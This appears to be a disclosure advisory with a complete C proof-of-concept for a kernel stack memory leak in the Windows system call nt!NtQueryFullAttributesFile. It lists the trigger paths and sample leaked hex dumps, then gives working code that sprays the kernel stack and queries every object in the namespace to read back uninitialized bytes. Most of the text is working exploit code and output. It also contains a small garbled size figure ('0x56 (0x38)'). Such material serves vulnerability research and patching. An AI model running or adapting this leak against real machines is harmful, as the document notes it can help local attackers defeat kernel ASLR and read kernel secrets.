Microsoft Windows - 'nt!NtQueryFullAttributesFile' Kernel Stack Memory Disclosure

/*
We have discovered that the nt!NtQueryFullAttributesFile system call invoked with paths of certain kernel objects discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects Windows 7 to 10, 32/64-bit. The paths that we have observed to trigger the leak in our test Windows 10 (1709) 64-bit VM are:

--- cut ---
  "\GLOBAL??\D:\"        (CD-ROM partition)
  "\GLOBAL??\CdRom0\"
  "\GLOBAL??\FltMgr"
  "\GLOBAL??\FltMgr\"
  "\GLOBAL??\MAILSLOT\"
  "\GLOBAL??\Volume{GUID}\"
  "\GLOBAL??\PIPE\"
  "\Device\CdRom0\"
  "\Device\NamedPipe\"
  "\Device\Mailslot\"
--- cut ---

The output structure returned by the system call is FILE_NETWORK_OPEN_INFORMATION [1]:

--- cut ---
  typedef struct _FILE_NETWORK_OPEN_INFORMATION {
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER AllocationSize;
    LARGE_INTEGER EndOfFile;
    ULONG         FileAttributes;
  } FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;
--- cut ---

It occupies 52 (0x34) bytes in memory, but due to alignment to an 8-byte boundary, it is effectively 0x56 (0x38) bytes long. In case of most of the above affected paths, the problem is that the 4 trailing bytes of padding are never initialized. As the kernel uses a temporary copy of the structure (allocated in the stack frame of nt!NtQueryFullAttributesFile) that is later passed to user-mode, the bug results in the disclosure of those 4 uninitialized kernel stack bytes. This can be observed by running the attached proof-of-concept program, which invokes nt!NtQueryFullAttributesFile against every object in the global object namespace, preceded by spraying the kernel stack with a 0x41 ('A') marker byte. Relevant parts of the output are shown below:

--- cut ---
  Name: \GLOBAL??\D:\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\CdRom0\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\MAILSLOT\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\Volume{GUID}\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \GLOBAL??\PIPE\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\CdRom0\, Status: 0
  00000000: 80 08 4a 06 66 46 d3 01 00 00 00 00 00 00 00 00 ..J.fF..........
  00000010: 80 08 4a 06 66 46 d3 01 80 08 4a 06 66 46 d3 01 ..J.fF....J.fF..
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\NamedPipe\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
  Name: \Device\Mailslot\, Status: 0
  00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
  00000030: 10 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

In case of the \GLOBAL??\FltMgr device, the entire 56-byte memory area remains uninitialized, and is copied in that form to user-mode. See below:

--- cut ---
  Name: \GLOBAL??\FltMgr, Status: 0
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
  Name: \GLOBAL??\FltMgr\, Status: 0
  00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
  00000030: 41 41 41 41 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? AAAAAAAA........
--- cut ---

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define DIRECTORY_QUERY    0x0001
#define DIRECTORY_TRAVERSE 0x0002

typedef struct _FILE_NETWORK_OPEN_INFORMATION {
  LARGE_INTEGER CreationTime;
  LARGE_INTEGER LastAccessTime;
  LARGE_INTEGER LastWriteTime;
  LARGE_INTEGER ChangeTime;
  LARGE_INTEGER AllocationSize;
  LARGE_INTEGER EndOfFile;
  ULONG         FileAttributes;
} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION;

typedef struct _OBJECT_DIRECTORY_INFORMATION {
  UNICODE_STRING Name;
  UNICODE_STRING TypeName;
} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION;

extern "C" {
  NTSTATUS NTAPI NtQueryFullAttributesFile(
    _In_  POBJECT_ATTRIBUTES             ObjectAttributes,
    _Out_ PFILE_NETWORK_OPEN_INFORMATION FileInformation
  );

  NTSTATUS WINAPI NtQueryDirectoryObject(
    _In_      HANDLE  DirectoryHandle,
    _Out_opt_ PVOID   Buffer,
    _In_      ULONG   Length,
    _In_      BOOLEAN ReturnSingleEntry,
    _In_      BOOLEAN RestartScan,
    _Inout_   PULONG  Context,
    _Out_opt_ PULONG  ReturnLength
  );

  NTSTATUS WINAPI NtOpenDirectoryObject(
    _Out_ PHANDLE            DirectoryHandle,
    _In_  ACCESS_MASK        DesiredAccess,
    _In_  POBJECT_ATTRIBUTES ObjectAttributes
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(*EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

VOID QueryFile(HANDLE RootDirectory, PCWSTR Path) {
  OBJECT_ATTRIBUTES Attributes;
  UNICODE_STRING Name;
  RtlInitUnicodeString(&Name, Path);
  InitializeObjectAttributes(&Attributes, &Name, OBJ_CASE_INSENSITIVE, RootDirectory, NULL);

  FILE_NETWORK_OPEN_INFORMATION FileInformation, EmptyInformation;
  RtlZeroMemory(&FileInformation, sizeof(FileInformation));
  RtlZeroMemory(&EmptyInformation, sizeof(EmptyInformation));

  SprayKernelStack();

  NTSTATUS Status = NtQueryFullAttributesFile(&Attributes, &FileInformation);
  if (memcmp(&FileInformation, &EmptyInformation, sizeof(FileInformation)) != 0) {
    wprintf(L"Name: %s, Status: %x\n", Path, Status);
    PrintHex(&FileInformation, sizeof(FileInformation));
  }
}

VOID EnumerateDirectory(PWCHAR path) {
  HANDLE hdir = NULL;
  OBJECT_ATTRIBUTES attrs;
  UNICODE_STRING name;

  RtlInitUnicodeString(&name, path);
  InitializeObjectAttributes(&attrs, &name, 0, NULL, NULL);
  NTSTATUS st = NtOpenDirectoryObject(&hdir, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, &attrs);

  if (NT_SUCCESS(st)) {
    CONST ULONG kMaxBufferSize = 128 * 1024;
    PBYTE buffer = (PBYTE)malloc(kMaxBufferSize);

    ULONG Context;
    st = NtQueryDirectoryObject(hdir, buffer, kMaxBufferSize, FALSE, TRUE, &Context, NULL);
    if (NT_SUCCESS(st)) {
      POBJECT_DIRECTORY_INFORMATION pdi = (POBJECT_DIRECTORY_INFORMATION)buffer;
      while (pdi->Name.Buffer != NULL) {
        WCHAR path_buffer[MAX_PATH];

        if (!wcscmp(path, L"\\")) {
          wsprintf(path_buffer, L"%s%s", path, pdi->Name.Buffer);
        }
        else {
          wsprintf(path_buffer, L"%s\\%s", path, pdi->Name.Buffer);
        }

        if (!wcscmp(pdi->TypeName.Buffer, L"Directory")) {
          EnumerateDirectory(path_buffer);
        }
        else {
          QueryFile(NULL, path_buffer);
          wcscat_s(path_buffer, L"\\");
          QueryFile(NULL, path_buffer);
        }

        pdi++;
      }
    }

    free(buffer);
    NtClose(hdir);
  }
}

int main() {
  EnumerateDirectory(L"\\");

  return 0;
}